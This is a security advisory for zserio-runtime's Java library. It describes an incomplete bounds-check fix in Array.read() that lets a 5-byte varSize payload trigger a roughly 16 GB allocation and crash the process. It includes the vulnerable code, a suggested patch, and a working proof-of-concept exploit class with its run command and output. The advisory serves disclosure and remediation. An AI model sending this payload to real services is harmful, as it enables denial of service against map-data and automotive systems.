# GHSA-M257-F4FP-GR9F: zserio-runtime: Incomplete fix for GHSA-cwq5-8pvq-j65j — Array.read() bounds check skipped for variable-size element types (String, Object)

- Database: GitHub
- Severity: CVSS 7.5 (High)
- Published: 2026-07-08
- Modified: 2026-07-14

## Tracked as

- [CVE-2026-61657](https://cve.now/CVE-2026-61657.md): zserio-runtime: Incomplete fix for GHSA-cwq5-8pvq-j65j — Array.read() bounds check skipped for variable-size element types (String, Object)

## Affected versions

- io.github.ndsev:zserio-runtime (Maven): fixed in 2.18.1

## Description

## Summary

The fix for GHSA-cwq5-8pvq-j65j shipped in zserio-runtime 2.18.1 is incomplete. The new bounds check in `Array.read()` is gated on `arrayTraits.isBitSizeOfConstant()`, which returns `false` for variable-size element types including strings and complex structs. For those types the check is never reached, `rawArray.reset(readSize)` executes unconditionally with an attacker-controlled value, and a 5-byte payload declaring `Integer.MAX_VALUE` elements causes an attempted ~16 GB heap allocation that crashes any process parsing untrusted zserio data — with no authentication required.

## Details

**File:** `compiler/extensions/java/runtime/src/zserio/runtime/array/Array.java`

The partial fix added a bounds check inside an `if (arrayTraits.isBitSizeOfConstant())` block:

```java
if (arrayType == ArrayType.AUTO) {
    readSize = reader.readVarSize();   // attacker-controlled
}

if (arrayTraits.isBitSizeOfConstant()) {
    // bounds check — only executed for fixed-size primitive types
    final int elementSize = arrayTraits.bitSizeOf(reader.getBitPosition(), ArrayElement.Dummy);
    if (reader.getBitPosition() + (long)readSize * elementSize > reader.getBufferBitSize()) {
        throw new IOException("Array: Array size exceeds buffer length!");
    }
}

rawArray.reset(readSize);   // ← always executes; no guard for variable-size types
```

Two widely-used trait classes return `false` for `isBitSizeOfConstant()`, bypassing the guard:

- **`StringArrayTraits`** — `compiler/extensions/java/runtime/src/zserio/runtime/array/ArrayTraits.java` — used for every string field in a schema
- **`ObjectArrayTraits`** — same file — used for every array of generated struct or union types

For these types, `rawArray.reset(Integer.MAX_VALUE)` calls `new String[2_147_483_647]` (or equivalent object array), attempting to allocate ~16 GB of heap references, which raises an unrecoverable `OutOfMemoryError`.

The 5-byte varSize encoding for `Integer.MAX_VALUE` is `0x83 0xFF 0xFF 0xFF 0xFF`.

**Suggested fix:** Move the bounds check outside the `isBitSizeOfConstant()` block so it applies unconditionally before `rawArray.reset()`. For variable-size elements, one bit per element is a sound lower bound:

```java
if (reader.getBitPosition() + readSize > reader.getBufferBitSize()) {
    throw new IOException("Array: Array size exceeds buffer length!");
}
rawArray.reset(readSize);
```

## PoC

**Requirements:** zserio-runtime source from HEAD (`compiler/extensions/java/runtime/src/`), OpenJDK 25.0.3 (2026-04-21), Maven

**Steps:**
1. Create a Maven project.
2. Copy the 95 Java files from `compiler/extensions/java/runtime/src/` into `src/main/java/`.
3. Add the following `Exploit.java` to `src/main/java/`.
4. Run with a restricted heap so the OOM occurs quickly.

```java
import zserio.runtime.array.*;
import zserio.runtime.io.ByteArrayBitStreamReader;

public class Exploit {
    // varSize(Integer.MAX_VALUE) = 0x83 0xFF 0xFF 0xFF 0xFF
    static final byte[] PAYLOAD = {
        (byte)0x83,(byte)0xFF,(byte)0xFF,(byte)0xFF,(byte)0xFF
    };

    public static void main(String[] args) throws Exception {

        // Control: int32 array (isBitSizeOfConstant = true) — FIXED in 2.18.1
        try {
            ByteArrayBitStreamReader r =
                new ByteArrayBitStreamReader(PAYLOAD, PAYLOAD.length * 8);
            new Array(new RawArray.IntRawArray(),
                new ArrayTraits.BitFieldIntArrayTraits(32), ArrayType.AUTO).read(r);
        } catch (java.io.IOException e) {
            System.out.println("[BLOCKED]    int32:  " + e.getMessage());
        }

        // Attack: String array (isBitSizeOfConstant = false) — NOT fixed
        try {
            ByteArrayBitStreamReader r =
                new ByteArrayBitStreamReader(PAYLOAD, PAYLOAD.length * 8);
            new Array(new RawArray.StringRawArray(),
                new ArrayTraits.StringArrayTraits(), ArrayType.AUTO).read(r);
        } catch (OutOfMemoryError e) {
            System.out.println("[VULNERABLE] String: OOM — rawArray.reset(Integer.MAX_VALUE)");
        }
    }
}
```

**Run:**
```bash
MAVEN_OPTS="-Xmx512m" mvn compile exec:java -Dexec.mainClass=Exploit
```

**Output (reproduced 3 times, OpenJDK 25.0.3 2026-04-21):**
```
[BLOCKED]    int32 : Array: Array size exceeds buffer length!
[VULNERABLE] String: OOM — rawArray.reset(Integer.MAX_VALUE) executed
```

## Impact

This is a denial-of-service vulnerability. Any unauthenticated party able to supply a crafted zserio binary to a service that deserializes AUTO arrays of strings or structured objects can crash the parsing process with a single 5-byte payload. No schema knowledge or prior interaction is required.

zserio is the serialization framework underlying the NDS (Navigation Data Standard), used in production by 43 member companies including Toyota, BMW, Volkswagen, and Mercedes-Benz. Affected deployments include NDS.Live cloud map update pipelines, over-the-air map data distribution, and backend data-processing services. On resource-constrained automotive ECUs a crash at parse time could affect ADAS and navigation functionality at runtime.

## References

- https://github.com/ndsev/zserio/security/advisories/GHSA-m257-f4fp-gr9f

Page: https://cve.now/GHSA-M257-F4FP-GR9F

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
